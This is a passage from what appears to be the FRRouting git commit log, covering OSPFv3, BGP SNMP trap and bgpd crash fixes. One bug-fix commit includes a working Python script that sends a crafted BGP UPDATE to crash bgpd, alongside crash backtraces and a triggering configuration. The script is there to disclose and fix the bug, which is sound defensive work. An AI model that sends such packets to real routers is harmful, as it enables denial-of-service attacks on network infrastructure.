✖ [test] peer\capability extended-nexthop
► prepare: initialize bgp test environment
► case 01: set peer-flag [capability extended-nexthop] on [IP-TEST]
► error: execution of command [no neighbor IP-TEST capability extended-nexthop] has failed with code [13]
failed
```

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agotests: Adopt ospf6_gr_topo1 tests for OSPFv3 loopback cost as 0 14635/head
Donatas Abraitis [Tue, 24 Oct 2023 05:53:36 +0000 (08:53 +0300)]
tests: Adopt ospf6_gr_topo1 tests for OSPFv3 loopback cost as 0

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agotests: Use igpMetric as 10 not 20, after OSPFv3 loopback cost changes
Donatas Abraitis [Mon, 23 Oct 2023 09:53:18 +0000 (12:53 +0300)]
tests: Use igpMetric as 10 not 20, after OSPFv3 loopback cost changes

Fixes: fa3140f7927838c432a02ee4f1c1847387b7be6d ("ospf6d: Set loopback interface cost to 0")
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoospf6d: Set loopback interface cost to 0
Donatas Abraitis [Mon, 23 Oct 2023 08:24:12 +0000 (11:24 +0300)]
ospf6d: Set loopback interface cost to 0

https://www.rfc-editor.org/rfc/rfc5340.html#page-37 states:

If the interface type is point-
      to-multipoint or the interface is in the state Loopback, the
      global scope IPv6 addresses associated with the interface (if any)
      are copied into the intra-area-prefix-LSA with the PrefixOptions
      LA-bit set, the PrefixLength set to 128, and the metric set to 0.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoMerge pull request #14609 from idryzhov/cfg-apply-remove-batches
Christian Hopps [Wed, 25 Oct 2023 17:43:44 +0000 (13:43 -0400)]
Merge pull request #14609 from idryzhov/cfg-apply-remove-batches

mgmtd, lib: remove batch ids from cfg apply reply

18 months agobgpd: combine import_check_table and nexthop_check_table 14648/head
Donald Sharp [Tue, 24 Oct 2023 20:14:40 +0000 (16:14 -0400)]
bgpd: combine import_check_table and nexthop_check_table

In zebra, the import check table and the nexthop check tables
were combined.  This leaves an issue where when bgp happens
to have a tracked address in both the import check table
and the nexthop track table that are the same address.
When the the item is removed from one table the call
to remove it from zebra removes tracking for the other
table.

Combine the two tables together and keep track where
they came from for processing in bgpd.

Signed-off-by: Donald Sharp <sharpd@nvidia.com>
18 months agoMerge pull request #14651 from opensourcerouting/fix/bgpd_coverity_fqdn_capability
Russ White [Wed, 25 Oct 2023 11:24:04 +0000 (07:24 -0400)]
Merge pull request #14651 from opensourcerouting/fix/bgpd_coverity_fqdn_capability

bgpd: Drop unnecessary null-termination for fqdn

18 months agoMerge pull request #14645 from opensourcerouting/fix/crash_mp_reach_nlri
Russ White [Wed, 25 Oct 2023 11:21:25 +0000 (07:21 -0400)]
Merge pull request #14645 from opensourcerouting/fix/crash_mp_reach_nlri

bgpd: A couple more bgpd crashes on malformed attributes

18 months agotests: Check if OSPFv3 loopback interface gets cost as 0
Donatas Abraitis [Mon, 23 Oct 2023 08:15:37 +0000 (11:15 +0300)]
tests: Check if OSPFv3 loopback interface gets cost as 0

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agobgpd: Drop unnecessary null-termination for fqdn 14651/head
Donatas Abraitis [Wed, 25 Oct 2023 04:52:38 +0000 (07:52 +0300)]
bgpd: Drop unnecessary null-termination for fqdn

str[len] is already null terminated before:

```
if (len > BGP_MAX_HOSTNAME) {
memcpy(&str, data, BGP_MAX_HOSTNAME);
str[BGP_MAX_HOSTNAME] = '\0';
} else if (len) {
memcpy(&str, data, len);
str[len] = '\0';
}
```

CID: 1569357

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoMerge pull request #14639 from donaldsharp/zebra_nexthop_search_up
Russ White [Tue, 24 Oct 2023 20:13:20 +0000 (16:13 -0400)]
Merge pull request #14639 from donaldsharp/zebra_nexthop_search_up

zebra: Allow longer prefix matches for nexthops

18 months agoMerge pull request #14333 from fdumontet6WIND/bgp4v2_snmp
Donatas Abraitis [Tue, 24 Oct 2023 18:34:47 +0000 (21:34 +0300)]
Merge pull request #14333 from fdumontet6WIND/bgp4v2_snmp

bgpd: add support of traps for bgp4-mibv2

18 months agobgpd: fix new Formatting / Styling warning 14333/head
Francois Dumontet [Wed, 11 Oct 2023 19:31:40 +0000 (21:31 +0200)]
bgpd: fix new Formatting / Styling warning

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agotests: add bgp4v2 MIB traps test
Francois Dumontet [Thu, 28 Sep 2023 10:06:53 +0000 (12:06 +0200)]
tests: add bgp4v2 MIB traps test

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agotests: add bgp4 MIB traps test
Francois Dumontet [Tue, 26 Sep 2023 12:18:25 +0000 (14:18 +0200)]
tests: add bgp4 MIB traps test

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agotests: lib add support of snmptrapd daemon
Francois Dumontet [Tue, 26 Sep 2023 12:07:00 +0000 (14:07 +0200)]
tests: lib add support of snmptrapd daemon

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agodoc: [no] bgp snmp traps <rfc4273|bgp4-mibv2>
Francois Dumontet [Tue, 5 Sep 2023 12:16:20 +0000 (14:16 +0200)]
doc: [no] bgp snmp traps <rfc4273|bgp4-mibv2>

update traps documentation

Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agobgpd: add [no] bgp snmp traps bgp4-mibv2 command
Francois Dumontet [Wed, 30 Aug 2023 15:35:32 +0000 (17:35 +0200)]
bgpd: add [no] bgp snmp traps bgp4-mibv2 command

There is no command to choose to send or not the bgp4-mibv2 traps.
Since the MIB bgp4-mibv2 notification are redundant with MIB RFC4273
we added a command:
- [no] bgp snmp traps bgp4-mibv2

By default, the bgp4-mibv2 traps will be disabled, to prevent from
redundancy.

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agobgpd: add snmp traps for bgp4-mibv2
Francois Dumontet [Wed, 23 Aug 2023 08:34:13 +0000 (10:34 +0200)]
bgpd: add snmp traps for bgp4-mibv2

This commit add the support of traps for bgp4-mibv2.
It is conformant to draft-ietf-idr-bgp4-mibv2-11.
The following traps are supported:
- bgp4V2EstablishedNotification
- bgp4V2BackwardTransitionNotification

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agobgpd: add [no] bgp snmp traps rfc4273 command
Francois Dumontet [Tue, 29 Aug 2023 15:53:26 +0000 (17:53 +0200)]
bgpd: add [no] bgp snmp traps rfc4273 command

There is no cli command to prevent the router to send traps
implemented in the rfc4273. If not done, when introducing
the traps from bgp4v2mib, traps will be send for each of
the two mibs: there will be redundancy in the sent information.

Add a new command:
- [no] bgp snmp traps rfc4273

Using this command will allow or not the notification of
the following traps:
- bgpEstablishedNotification
- bgpBackwardTransNotification

Signed-off-by: Francois Dumontet <francois.dumontet@6wind.com>
18 months agobgpd: Check mandatory attributes more carefully for UPDATE message 14645/head
Donatas Abraitis [Mon, 23 Oct 2023 20:34:10 +0000 (23:34 +0300)]
bgpd: Check mandatory attributes more carefully for UPDATE message

If we send a crafted BGP UPDATE message without mandatory attributes, we do
not check if the length of the path attributes is zero or not. We only check
if attr->flag is at least set or not. Imagine we send only unknown transit
attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
capability is received.

A crash:

```
bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
```

Sending:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(1000)
s.close()
```

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agobgpd: Handle MP_REACH_NLRI malformed packets with session reset
Donatas Abraitis [Fri, 20 Oct 2023 14:49:18 +0000 (17:49 +0300)]
bgpd: Handle MP_REACH_NLRI malformed packets with session reset

Avoid crashing bgpd.

```
(gdb)
bgp_mp_reach_parse (args=<optimized out>, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341
2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN);
(gdb)
stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320
320 {
(gdb)
321 STREAM_VERIFY_SANE(s);
(gdb)
323 if (STREAM_READABLE(s) < size) {
(gdb)
34   return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest));
(gdb)

Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault.
0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050,
    object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282
2282 if (path->attr->aspath->refcnt)
(gdb)
```

With the configuration:

```
 neighbor 127.0.0.1 remote-as external
 neighbor 127.0.0.1 passive
 neighbor 127.0.0.1 ebgp-multihop
 neighbor 127.0.0.1 disable-connected-check
 neighbor 127.0.0.1 update-source 127.0.0.2
 neighbor 127.0.0.1 timers 3 90
 neighbor 127.0.0.1 timers connect 1
 address-family ipv4 unicast
  redistribute connected
  neighbor 127.0.0.1 default-originate
  neighbor 127.0.0.1 route-map RM_IN in
 exit-address-family
!
route-map RM_IN permit 10
 set as-path prepend 200
exit
```

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoMerge pull request #14540 from opensourcerouting/feature/bgpd_handle_fqdn_capability_...
Russ White [Tue, 24 Oct 2023 10:23:32 +0000 (06:23 -0400)]
Merge pull request #14540 from opensourcerouting/feature/bgpd_handle_fqdn_capability_via_dynamic_capability

bgpd: Handle FQDN capability using dynamic capabilities

18 months agoMerge pull request #13979 from gpnaveen/bgp_unique_rid
Russ White [Tue, 24 Oct 2023 10:09:58 +0000 (06:09 -0400)]
Merge pull request #13979 from gpnaveen/bgp_unique_rid

tests: Adding a bgp router id chaos test case.